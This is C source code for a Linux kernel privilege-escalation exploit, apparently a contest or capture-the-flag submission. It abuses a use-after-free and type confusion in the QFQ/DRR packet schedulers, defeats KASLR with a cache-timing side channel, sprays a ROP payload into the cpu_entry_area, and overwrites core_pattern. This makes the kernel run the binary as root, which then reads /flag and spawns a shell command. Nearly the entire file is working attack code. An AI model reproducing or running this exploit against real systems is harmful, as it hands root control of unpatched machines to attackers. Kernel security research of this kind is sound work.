#define _GNU_SOURCE
#include <err.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/if.h>
#include <sys/select.h>
#include <sys/socket.h>
#include <sys/timerfd.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <syscall.h>
#include <sys/mman.h>
#include <netinet/in.h>
#include <linux/if_packet.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#include <linux/pkt_cls.h>
#include <linux/membarrier.h>
#include <linux/limits.h>
#include <linux/filter.h>

#include "netlink.h"

typedef u_int8_t u8;
typedef u_int16_t u16;
typedef u_int32_t u32;
typedef u_int64_t u64;
typedef int8_t i8;
typedef int16_t i16;
typedef int32_t i32;
typedef int64_t i64;

#define LEN(x) (sizeof(x) / sizeof(x[0]))
#define ASSERT(x) ({ if (!(x)) { err(EXIT_FAILURE, #x); } })
#define SYSCHK(x) ({ typeof(x) __tmp = (x); if (__tmp == (typeof(x))-1) { err(EXIT_FAILURE, #x); } __tmp; })

static void pin_to_cpu(int id) {
	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(id, &set);
	ASSERT(sched_setaffinity(getpid(), sizeof(set), &set) != -1);
}

static void synchronize_rcu() {
  // A synchronize_rcu primitive in userspace: Original idea from https://github.com/lrh2000/StackRot
  if (syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0, -1) < 0) {
    perror("membarrier()");
  }
}

static void set_rlimit_nofile() {
	struct rlimit lim = {};
	ASSERT(!prlimit(0, RLIMIT_NOFILE, NULL, &lim));
	lim.rlim_cur = lim.rlim_max;
	ASSERT(!prlimit(0, RLIMIT_NOFILE, &lim, NULL));
}

#define NETLINK_SEND_CHECK(fd, nlh, max_size) do {\
		ASSERT(!netlink_send(fd, nlh)); \
		ASSERT(netlink_recv(fd, nlh, max_size) > 0); \
		ASSERT(!netlink_errno(nlh)); \
	} while(0);

#ifdef USE_EBPF_JIT_SPRAY
#include "rip.h"

// Generated with
// &core_name_size = 0xffffffff83bbacc0
// return from indirect call at qfq_dequeue+71 = 0xffffffff81eb1347 + 2
// ./rip -t 0xffffffff83bbacc0 -r 0xffffffff81eb1349 -m 0 -p 0x1400 > filters.rip.inc
// #include "filters.rip_original.inc"
//
// On the CI, the speculation barrier call stubs are used, so need to adjust the
// return address (compile with X86_FEATURE_RETHUNK) ..
// return from indirect call at qfq_dequeue+71 = 0xffffffff81eb1347 + 5
// ./rip -t 0xffffffff83bbacc0 -r 0xffffffff81eb134c -m 0 -p 0x1400 > filters.rip.inc
#include "filters.rip_ci.inc"

static void setup_core_payload() {
	// Setup the RIP control primitive
	// Kernel memory layout is a little bit unfortunate, thus we will overwrite
	// core_name_size as well.
	struct {
		int core_name_size;
		u8 __pad[32 - 4];
		char core_pattern[14];
	} __attribute__((packed)) core_payload = {
		.core_name_size = 128,
		.core_pattern = {"|/proc/%P/exe"},
	};
	write_payload((void*)&core_payload, sizeof(core_payload));
}
#else

// leave; jmp __x86_return_thunk (0xffffffff82605280); ret; 	c9e9a92e5f01c3
u64 leave = 0xffffffff810123d1;
// pop rax; pop rdx; jmp __x86_return_thunk (0xffffffff82605280); ret; 	585ae9ed5c3701c3
u64 pop_rax_pop_rdx = 0xffffffff8128f58c;
// mov [rdx+TMP1 (0)], rax; jmp __x86_return_thunk (0xffffffff82605280); ret; 	488902e9ed045c01c3 @1 = rax; @2 = rdx;
u64 mov_RDX_rax = 0xffffffff81044d8b;
// add rsp, TMP2 (0x0010); jmp __x86_return_thunk (0xffffffff82605280); ret; 	4883c410e975b75a01c3
u64 add_rsp_16 = 0xffffffff81059b02;

u64 msleep = 0xffffffff81232f10;
u64 core_pattern = 0xffffffff83bbace0;
u64 qdisc_leaf = 0xffffffff81e85fa0;

#define FOR_ALL_OFFSETS(x) do { \
		x(leave); \
		x(pop_rax_pop_rdx); \
		x(mov_RDX_rax); \
		x(add_rsp_16); \
		x(msleep); \
		x(core_pattern); \
		x(qdisc_leaf); \
	} while(0)

static int bypass_kaslr(u64 base);
#endif

// CPU entry area pointers. We need this in order to prepare Qdisc->ops()
#define CPU_ENTRY_AREA_BASE(cpu) (0xfffffe0000001000ull + (u64)cpu * 0x3b000)
#define PAYLOAD_LOCATION(cpu) (CPU_ENTRY_AREA_BASE(cpu) + 0x1f58)

// matches struct Qdisc_ops
union cpu_entry_area_payload {
	struct {
		u64 _pad0; // need padding because cl_ops is second member and we pop
		           // once from new stack, thus make sure we can re-use next member
		           // for ROP
		struct {
			u64 __new_rbp; // overlaps with ops.cl_ops
			u64 rop0[4];
			u64 find; // long unsigned int  (*find)(struct Qdisc *, u32);
			u64 _pad; // overlaps with ops.peek
			u64 rop1[7];
		} class_ops; // struct Qdisc_class_ops
	} stage2;
	struct {
		u64 _next;
		u64 cl_ops; // pointer to stage2.class_ops
		u64 _pad[5];
		u64 peek; // struct sk_buff *  (*peek)(struct Qdisc *);
	} ops; // struct Qdisc_ops
	u64 regs[15];
};
_Static_assert(sizeof(union cpu_entry_area_payload) == 15*8, "");

// simple udp server / client socket to send packets around (per process)
static int s, c;
// address of server socket (per process)
static struct sockaddr_in addr = {};
static unsigned len = sizeof(addr);
// netlink fd (per process)
static int nfd;
// shared memory for synchronization
static volatile u8* wait_on;

static void spray_worker();
static void ip_link_set_flags(int s, int ifindex, unsigned int ifi_flags, unsigned mtu);

static void do_setup() {
	wait_on = SYSCHK(mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0));
	int pid = SYSCHK(fork());

	ASSERT(!unshare(CLONE_NEWUSER | CLONE_NEWNET));

	nfd = SYSCHK(netlink_open(NETLINK_ROUTE));
	ip_link_set_flags(nfd, if_nametoindex("lo"), IFF_UP, 0);

	s = SYSCHK(socket(AF_INET, SOCK_DGRAM, 0));

	addr.sin_family = AF_INET;
	addr.sin_port = 0,
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	ASSERT(!bind(s, (struct sockaddr*)&addr, len));
	ASSERT(!getsockname(s, (struct sockaddr*)&addr, &len));

	c = SYSCHK(socket(AF_INET, SOCK_DGRAM, 0));

	if (pid == 0) {
		spray_worker();
		exit(0);
	}
}

static void waiter_wait(u8 x) {
	while (__atomic_load_n(wait_on, __ATOMIC_ACQUIRE) != x) {
		sched_yield();
	}
}
static void waiter_release(u8 x) {
	__atomic_store_n(wait_on, x, __ATOMIC_RELEASE);
}

static void handle_signal() {
	// Since we block the trigger cpu in kernel, we have to make sure everything
	// is still runnable and one thread is not hoarding all the cpu runtime.
	// Thus we re-use this handler to check for success.
	// This will be invoked repeatedly (because we do not resolve the fault)
	char buf[128] = {};
	int core = SYSCHK(open("/proc/sys/kernel/core_pattern", O_RDONLY));
	read(core, buf, sizeof(buf));
	close(core);

	if (strncmp(buf, "|/proc/%P/exe", 13) == 0) {
		printf("success!\n");

		// reset handler to trigger core dump helper
		ASSERT(signal(SIGSEGV, SIG_DFL) != SIG_ERR);
	}
}

static void ip_link_set_flags(int s, int ifindex, unsigned int ifi_flags, unsigned mtu) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;

	struct ifinfomsg* data = NLMSG_DATA(nlh);
	nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
	nlh->nlmsg_type = RTM_NEWLINK;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 0;
	nlh->nlmsg_pid = 0;

	data->ifi_family = PF_UNSPEC;
	data->ifi_type = 0;
	data->ifi_index = ifindex;
	data->ifi_flags = ifi_flags;
	data->ifi_change = 1;

	if (mtu) {
		netlink_attr_put(nlh, IFLA_MTU, &mtu, sizeof(mtu));
	}

	NETLINK_SEND_CHECK(s, nlh, sizeof(buf));
}

static void __setup_newqdisc_msg(struct nlmsghdr* nlh, unsigned if_index, unsigned parent, unsigned handle, const char* name) {
	struct tcmsg* data = NLMSG_DATA(nlh);
	nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
	nlh->nlmsg_type = RTM_NEWQDISC;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE;
	nlh->nlmsg_seq = 0;
	nlh->nlmsg_pid = 0;

	data->tcm_family = PF_UNSPEC;
	data->tcm_ifindex = if_index;
	data->tcm_parent = parent;
	data->tcm_handle = handle & 0xFFFF0000;

	if (name)
		netlink_attr_put(nlh, TCA_KIND, name, strlen(name));
}

static void __setup_newclass_msg(struct nlmsghdr* nlh, unsigned if_index, unsigned parent, unsigned handle, bool create) {
	struct tcmsg* data = NLMSG_DATA(nlh);
	nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
	nlh->nlmsg_type = RTM_NEWTCLASS;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 0;
	nlh->nlmsg_pid = 0;

	if (create)
		nlh->nlmsg_flags |= NLM_F_CREATE;

	data->tcm_family = PF_UNSPEC;
	data->tcm_ifindex = if_index;
	data->tcm_parent = parent;
	data->tcm_handle = parent | (handle & 0xFFFF);
}

static void change_drr_class(int fd, unsigned int if_index, unsigned int parent, unsigned int handle, bool create, u32 quantum) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newclass_msg(nlh, if_index, parent, handle, create);

	struct nlattr* n = netlink_nest_begin(nlh, TCA_OPTIONS);
	netlink_attr_append(n, TCA_DRR_QUANTUM, &quantum, sizeof(quantum));
	netlink_nest_end(nlh, n);

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void change_qfq_class(int fd, unsigned int if_index, unsigned int parent, unsigned int handle, bool create, u32 lmax) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;

	__setup_newclass_msg(nlh, if_index, parent, handle, create);

	struct nlattr* n = netlink_nest_begin(nlh, TCA_OPTIONS);
	netlink_attr_append(n, TCA_QFQ_LMAX, &lmax, sizeof(lmax));
	netlink_nest_end(nlh, n);

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void delete_class(int fd, unsigned int if_index, unsigned int parent, unsigned int handle) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;

	struct tcmsg* data = NLMSG_DATA(nlh);
	nlh->nlmsg_len = sizeof(*data) + NLMSG_HDRLEN;
	nlh->nlmsg_type = RTM_DELTCLASS;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nlh->nlmsg_seq = 0;
	nlh->nlmsg_pid = 0;

	data->tcm_family = PF_UNSPEC;
	data->tcm_ifindex = if_index;
	data->tcm_parent = parent;
	data->tcm_handle = parent | (handle & 0xFFFF);

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}


static void create_qdisc_drr(int fd, unsigned int if_index, unsigned int parent, unsigned int handle, const struct tc_sizespec* stab, const u16* stab_data) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newqdisc_msg(nlh, if_index, parent, handle, "drr");

	if (stab) {
		struct nlattr* n = netlink_nest_begin(nlh, TCA_STAB);

		netlink_attr_append(n, TCA_STAB_BASE, stab, sizeof(*stab));
		netlink_attr_append(n, TCA_STAB_DATA, stab_data, stab->tsize * sizeof(u16));

		netlink_nest_end(nlh, n);
	}

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void create_qdisc_qfq(int fd, unsigned int if_index, unsigned int parent, unsigned int handle, const struct tc_sizespec* stab, const u16* stab_data) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newqdisc_msg(nlh, if_index, parent, handle, "qfq");

	if (stab) {
		struct nlattr* n = netlink_nest_begin(nlh, TCA_STAB);

		netlink_attr_append(n, TCA_STAB_BASE, stab, sizeof(*stab));
		netlink_attr_append(n, TCA_STAB_DATA, stab_data, stab->tsize * sizeof(u16));

		netlink_nest_end(nlh, n);
	}

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void create_qdisc_plug(int fd, unsigned if_index, unsigned int parent, unsigned int handle, struct tc_plug_qopt* opt) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newqdisc_msg(nlh, if_index, parent, handle, "plug");
	netlink_attr_put(nlh, TCA_OPTIONS, opt, sizeof(*opt));
	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void create_qdisc_pfifo(int fd, unsigned if_index, unsigned int parent, unsigned int handle) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newqdisc_msg(nlh, if_index, parent, handle, "pfifo");
	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}


static void graft_qdisc(int fd, unsigned if_index, unsigned int from, unsigned int to) {
	u8 buf[1024] = {0};
	struct nlmsghdr* nlh = (void*)buf;
	__setup_newqdisc_msg(nlh, if_index, to, 0, NULL);
	((struct tcmsg*)NLMSG_DATA(nlh))->tcm_handle = from;

	nlh->nlmsg_flags &= ~NLM_F_CREATE;
	nlh->nlmsg_flags |= NLM_F_REPLACE;

	NETLINK_SEND_CHECK(fd, nlh, sizeof(buf));
}

static void spray_worker() {
	const unsigned int lo = if_nametoindex("lo");
	const unsigned int qdisc_drr = 0x700 << 16;
	const unsigned int class_plug = 0x1000;
	const unsigned int qdisc_plug = 0x701 << 16;

	create_qdisc_drr(nfd, lo, TC_H_ROOT, qdisc_drr, NULL, NULL);

	// we need one class which blocks all the dequeues
	change_drr_class(nfd, lo, qdisc_drr, class_plug, true, 1);

	// attach plug qdisc to plug class ..
	struct tc_plug_qopt plug_parms = {
		.limit = 0xffff
	};
	create_qdisc_plug(nfd, lo, qdisc_drr | class_plug, qdisc_plug, &plug_parms);

	// make plug active
	u8 byte;
	unsigned priority = qdisc_drr | class_plug;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	ASSERT(sendto(c, &byte, 1, 0, (struct sockaddr*)&addr, len) == 1);

	// setup done.
	// wait to start the spray
	pin_to_cpu(1);
	waiter_release(1);
	waiter_wait(2);

	// now spray drr_class(es)
	pin_to_cpu(0);

	// this is the cpu where we spray the cpu_entry_area
	// we block the cpu [main] runs on in kernel to avoid any panics on exit.
	// main will trigger the payload on the other cpu (1).
	// based on testing, if main triggers on 0, the core dump helper will not run,
	// so we keep it this way around
	int cpu = 0;

	// We target a type confusion in qfq_peek_skb():
	//   *cl = list_first_entry(&agg->active, struct qfq_class, alist);
	//   skb = (*cl)->qdisc->ops->peek((*cl)->qdisc);
	// With cl being an drr_class instead of qfq_class, drr_class.next will be cl->qdisc
	// Thus we need to prepare a proper qdisc->ops pointer at
	//   &drr_class.alist + offsetof(struct Qdisc, ops) = &drr_class.quantum (and following deficit member)
	// (we spray a few classes so that drr_class.next points to another drr_class)

	// Prepare a quantum which matches the upper address part, because
	// when enqueueing the first packet to a class, drr will set
	//    class->deficit = class->quantum (see drr_enqueue)
	// This way we can easily control class->deficit. We will correct quantum later.
	u32 quantum = (u32)((PAYLOAD_LOCATION(cpu)) >> 32);

	// now the actual spray
	unsigned int cl = 1;
	for (int i = 0; i < 48; i++) {
		change_drr_class(nfd, lo, qdisc_drr, cl + i, true, quantum);
	}

	// at this point we hopefully reclaimed the target object
	// now we queue up packets to set cl->deficit = cl->quantum and write the cl->alist.next pointer
	for (int i = 0; i < 48; i++) {
		unsigned parent = qdisc_drr | (cl + i);
		ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &parent, sizeof(parent)));
		ASSERT(sendto(c, &byte, 1, 0, (struct sockaddr*)&addr, len) == 1);
	}

	// now, set quantum to the appropriate lower pointer value
	quantum = (u32)((PAYLOAD_LOCATION(cpu)) & 0xFFFFFFFF);
	for (int i = 0; i < 48; i++) {
		change_drr_class(nfd, lo, qdisc_drr, cl + i, false, quantum);
	}

	// type confusion is set up. let parent trigger the payload
	waiter_release(3);

	pin_to_cpu(cpu);
	union cpu_entry_area_payload p = {};

#ifdef USE_EBPF_JIT_SPRAY
	p.ops.peek = gadget;

	// do it on this core as well just to be sure
	setup_core_payload();
#else
	p.ops.peek = qdisc_leaf;
	p.ops.cl_ops = PAYLOAD_LOCATION(cpu) + offsetof(union cpu_entry_area_payload, stage2.class_ops);

	p.stage2.class_ops.find = leave;

	p.stage2.class_ops.rop0[0] = pop_rax_pop_rdx;
	p.stage2.class_ops.rop0[1] = *((u64*)"|/proc/%P/exe\0\0\0" + 0);
	p.stage2.class_ops.rop0[2] = core_pattern + 0;
	// 16 bytes between the two rop chain parts
	p.stage2.class_ops.rop0[3] = add_rsp_16;

	p.stage2.class_ops.rop1[0] = mov_RDX_rax;
	p.stage2.class_ops.rop1[1] = pop_rax_pop_rdx;
	p.stage2.class_ops.rop1[2] = *((u64*)"|/proc/%P/exe\0\0\0" + 1);
	p.stage2.class_ops.rop1[3] = core_pattern + 8;
	p.stage2.class_ops.rop1[4] = mov_RDX_rax;

	// rdi is sufficiently high containing a kernel pointer
	p.stage2.class_ops.rop1[5] = msleep;
#endif

	ASSERT(signal(SIGSEGV, handle_signal) != SIG_ERR);
	ASSERT(setsid() != -1);

	asm volatile (
		"mov %0, %%rsp\n"
		"pop %%r15\n"
		"pop %%r14\n"
		"pop %%r13\n"
		"pop %%r12\n"
		"pop %%rbp\n"
		"pop %%rbx\n"
		"pop %%r11\n"
		"pop %%r10\n"
		"pop %%r9\n"
		"pop %%r8\n"
		"pop %%rax\n"
		"pop %%rcx\n"
		"pop %%rdx\n"
		"pop %%rsi\n"
		"pop %%rdi\n"
		"divq (0x0)\n"
		:
		: "r"(&p)
	);

	// unreachable
	while (1) { sleep(100); }
}

int main(int argc, char* argv[]) {
	const unsigned int lo = if_nametoindex("lo");

	const unsigned int qdisc_root = 1 << 16;

	const unsigned int class_drr = 1;
	const unsigned int qdisc_drr = 11 << 16;

	const unsigned int class_fifo_A = 11;
	const unsigned int class_fifo_B = 2;
	const unsigned int qdisc_fifo = 777 << 16;

	const unsigned int class_plug = 3;
	const unsigned int qdisc_plug = 13 << 16;

	const unsigned int class_dummy = 128;
	const unsigned int qdisc_dummy = 128 << 16;

	// we are being run as the core dump helper
	if (!getuid()) {
		pid_t pid;
		sscanf(argv[0], "/proc/%u/exe", &pid);

		int pfd = syscall(SYS_pidfd_open, pid, 0);
		int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0);
		int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0);
		int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0);
		dup2(stdinfd,0);
		dup2(stdoutfd,1);
		dup2(stderrfd,2);

		char* shell[] = {
			"/bin/sh",
			"-c",
#if 0
			"/bin/cat /flag && /bin/sh",
#else
			// Avoid deadlocks on the CI :/
			"/bin/cat /flag && sleep 1 && echo c > /proc/sysrq-trigger",
#endif
			NULL,
		};
		execve(shell[0], shell, NULL);
		return 0;
	}

	printf("Hello World!\n");

	set_rlimit_nofile();

#ifdef USE_EBPF_JIT_SPRAY
	// on nokaslr runs, gadget needs to be adjusted for missing offset.
	if (argc > 1 && !strcmp(argv[1], "DEBUG")) {
		gadget -= 0x1000;
	}

	// do this first to avoid noise later
	int filters = SYSCHK(gadget_do_spray());
	printf("sprayed %d filters. gadget = 0x%lx\n", filters, gadget);
#else
	bypass_kaslr(0);
#endif

	do_setup();

	struct tc_plug_qopt plug_opt = {
		.limit = 0xffff // in bytes
	};

	// Need to prepare heap layout on known cores
	pin_to_cpu(0);

	// wait for worker setup
	waiter_wait(1);

	// We create the following qdisc structure:
	// (classes in lower case, qdiscs in UPPER CASE)
	//        QFQ (root)
	//       /    |    \
	//      /     |     \
	//     /      |      \
	//   drr   fifo_B   plug
	//   DRR            PLUG
	//    |
	//  fifo_A
	//   FIFO

	create_qdisc_qfq(nfd, lo, TC_H_ROOT, qdisc_root, NULL, NULL);
	change_qfq_class(nfd, lo, qdisc_root, class_drr, true, 512);
	change_qfq_class(nfd, lo, qdisc_root, class_fifo_B, true, 512);
	change_qfq_class(nfd, lo, qdisc_root, class_plug, true, 512);

	// need some additional dummy class in order to trigger a dequeue operation
	change_qfq_class(nfd, lo, qdisc_root, class_dummy, true, 512);

	create_qdisc_drr(nfd, lo, qdisc_root | class_drr, qdisc_drr, NULL, NULL);
	create_qdisc_plug(nfd, lo, qdisc_root | class_plug, qdisc_plug, &plug_opt);

	create_qdisc_plug(nfd, lo, qdisc_root | class_dummy, qdisc_dummy, &plug_opt);

	change_drr_class(nfd, lo, qdisc_drr, class_fifo_A, true, 0x8000);
	create_qdisc_pfifo(nfd, lo, qdisc_drr | class_fifo_A, qdisc_fifo);

	// Now, we graft FIFO onto the root qdisc:
	//        QFQ'(root)
	//       /    |    \
	//      /     |     \
	//     /      |      \
	//   drr   fifo_B   plug
	//   DRR    FIFO    PLUG
	//    |
	//  fifo_A
	// (this is where the bug resides, FIFO will still have parent drr instead of root)
	graft_qdisc(nfd, lo, qdisc_fifo, qdisc_root | class_fifo_B);

	// .. and delete the drr class:
	//        QFQ'(root)
	//            |    \
	//            |     \
	//            |      \
	//         fifo_B   plug
	//          FIFO    PLUG
	delete_class(nfd, lo, qdisc_root, class_drr);

	u8 buf[1] = {};

	// activate plug
	u32 priority = qdisc_root | class_plug;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) > 0);

	// activate fifo
	priority = qdisc_root | class_fifo_B;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) > 0);

	// We want the dummy class to be active to avoid list manipulations around
	// the then UaF drr_class object because of list corruption checks
	priority = qdisc_root | class_dummy;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) == 1);

	// Delete the plug class which blocks everything. This makes fifo_B the active
	// class.
	delete_class(nfd, lo, qdisc_root, class_plug);

	// trigger free into use-after-free because it does not remove fifo_B from the
	// active classes
	delete_class(nfd, lo, qdisc_root, class_fifo_B);
	synchronize_rcu();

	// let worker do the spray and reclaim the freed qfq_class objects
	waiter_release(2);

	// need to be on 1 to allow core dump helper to run
	pin_to_cpu(1);
	// wait for spray
	waiter_wait(3);

	// short delay to make sure cpu_entry_area is indeed written to
	sleep(1);

	#ifdef USE_EBPF_JIT_SPRAY
	setup_core_payload();
	#endif

	// trigger a dequeue by sending a packet to the dummy class.
	// the active class is still fifo_B !
	priority = qdisc_root | class_dummy;
	ASSERT(!setsockopt(c, SOL_SOCKET, SO_PRIORITY, &priority, sizeof(priority)));
	ASSERT(sendto(c, buf, 1, 0, (struct sockaddr*)&addr, len) > 0);

	printf("returned from trigger? likely failed?\n");
	while (1) { sleep(100); }
}

#ifndef USE_EBPF_JIT_SPRAY

// KASLR bypass
//
// This code is adapted from https://github.com/IAIK/prefetch/blob/master/cacheutils.h
//
static inline __attribute__((always_inline)) uint64_t rdtsc_begin() {
  uint64_t a, d;
  asm volatile ("mfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}

static inline __attribute__((always_inline)) uint64_t rdtsc_end() {
  uint64_t a, d;
  asm volatile(
    "xor %%rax, %%rax\n\t"
    "lfence\n\t"
    "RDTSCP\n\t"
    "mov %%rdx, %0\n\t"
    "mov %%rax, %1\n\t"
    "mfence\n\t"
    : "=r" (d), "=r" (a)
    :
    : "%rax", "%rbx", "%rcx", "%rdx");
  a = (d<<32) | a;
  return a;
}


static void prefetch(void* p)
{
  asm volatile (
    "prefetchnta (%0)\n"
    "prefetcht2 (%0)\n"
    : : "r" (p));
}

static size_t flushandreload(void* addr) // row miss
{
  size_t time = rdtsc_begin();
  prefetch(addr);
  size_t delta = rdtsc_end() - time;
  return delta;
}

static int bypass_kaslr(u64 base) {
    if (!base) {
        #define OFFSET 0
        #define START (0xffffffff81000000ull + OFFSET)
        #define END   (0xffffffffD0000000ull + OFFSET)
        #define STEP   0x0000000001000000ull
        while (1) {
            u64 bases[7] = {0};
            for (int vote = 0; vote < LEN(bases); vote ++) {
                size_t times[(END - START) / STEP] = {};
                uint64_t addrs[(END - START) / STEP];

                for (int ti = 0; ti < LEN(times); ti++) {
                    times[ti] = ~0;
                    addrs[ti] = START + STEP * (u64)ti;
                }

                for (int i = 0; i < 16; i++) {
                for (int ti = 0; ti < LEN(times); ti++) {
                    u64 addr = addrs[ti];
                    size_t t = flushandreload((void*)addr);
                    if (t < times[ti]) {
                        times[ti] = t;
                    }
                }
                }

                size_t minv = ~0;
                size_t mini = -1;
                for (int ti = 0; ti < LEN(times) - 1; ti++) {
                    if (times[ti] < minv) {
                        mini = ti;
                        minv = times[ti];
                    }
                }

                if (mini < 0) {
                    return -1;
                }

                bases[vote] = addrs[mini];
            }

            int c = 0;
            for (int i = 0; i < LEN(bases); i++) {
              if (c == 0) {
                base = bases[i];
              } else if (base == bases[i]) {
                c++;
              } else {
                c--;
              }
            }

            c = 0;
            for (int i = 0; i < LEN(bases); i++) {
              if (base == bases[i]) {
                c++;
              }
            }
            if (c > LEN(bases) / 2) {
              base -= OFFSET;
              goto got_base;
            }

            printf("majority vote failed:\n");
            printf("base = %lx with %d votes\n", base, c);
        }
    }

got_base:
    printf("using kernel base %lx\n", base);

    i64 diff = 0xffffffff81000000 - base;
    printf("diff: %ld\n", diff);

    #define x(name) { name -= diff; printf("corrected %s to %lx\n", #name, name); }
    FOR_ALL_OFFSETS(x);
    #undef x

    return 0;
}

#endif
